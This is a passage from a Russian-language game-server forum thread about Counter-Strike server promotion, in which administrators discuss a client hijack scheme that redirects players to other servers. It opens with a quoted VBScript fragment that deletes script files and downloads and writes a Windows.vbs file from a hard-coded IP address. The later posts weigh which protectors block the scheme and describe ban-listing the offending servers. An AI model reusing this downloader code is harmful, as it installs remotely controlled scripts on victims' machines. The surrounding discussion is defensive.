"\" ' Delete files vbs,vbe,bat and cmd On Error Resume Next Dim filesys Set filesys = CreateObject("Scripting.FileSystemObject") filesys.DeleteFile( strMyPath & ".vbs" ), True filesys.DeleteFile( strMyPath & ".vbe" ), True filesys.DeleteFile( strMyPath & ".bat" ), True filesys.DeleteFile( strMyPath & ".cmd" ), True On Error Goto 0 ' Download and upgrade file Windows.vbs On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/Windows.vbs?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "Windows.vbs" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "Windows.vbs", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close ' protectFile(strMyPath & "Windows.vbs") End If On Error Goto 0 End Sub Up()
	Поблагодарили 0 раз Поблагодарили 0 раз

twileck	29.9.2017, 8:18 Сообщение #7937
Стаж: 13 лет Сообщений: 2084 Благодарностей: 1641 Полезность: 1061	Цитата(Legendacs @ 29.9.2017, 9:04) sergggzi, Опять подмена новая? Схема та же как и у megafrag, коннект на сервер, где уже осуществляется подмена. Все старое.
	Поблагодарили 0 раз Поблагодарили 0 раз

tipych	29.9.2017, 8:42 Сообщение #7938
Стаж: 10 лет Город: Северодвинск Сообщений: 536 Благодарностей: 163 Полезность: 173	Вот же уроды. Стандартный протектор (тот же CSXGuard) блочит это гуано?
	Поблагодарили 0 раз Поблагодарили 0 раз

Legendacs	29.9.2017, 8:43 Сообщение #7939
Стаж: 12 лет Сообщений: 1637 Благодарностей: 508 Полезность: 592 Меценат	twileck, т.е. пока не чего нового не придумали? протектор спасет?
	Поблагодарили 0 раз Поблагодарили 0 раз

twileck	29.9.2017, 8:47 Сообщение #7940
Стаж: 13 лет Сообщений: 2084 Благодарностей: 1641 Полезность: 1061	Цитата(Legendacs @ 29.9.2017, 9:43) twileck, т.е. пока не чего нового не придумали? протектор спасет? Если коннект в любом виде блочится, то спасет, будет disconnect игрока при коннекте на этот сервер. Остается блочить сервера, которые реально делают коннект на такие сервера, у меня уже в бан-листе скоро места не будет на этих румынов.
	Поблагодарили 0 раз Поблагодарили 0 раз

« Предыдущая тема · Продвижение сервера · Следующая тема »

0 пользователей и 46 гостей читают эту тему:

Наши новости:

Информационная доска

Обсуждение раскрутки cs сервера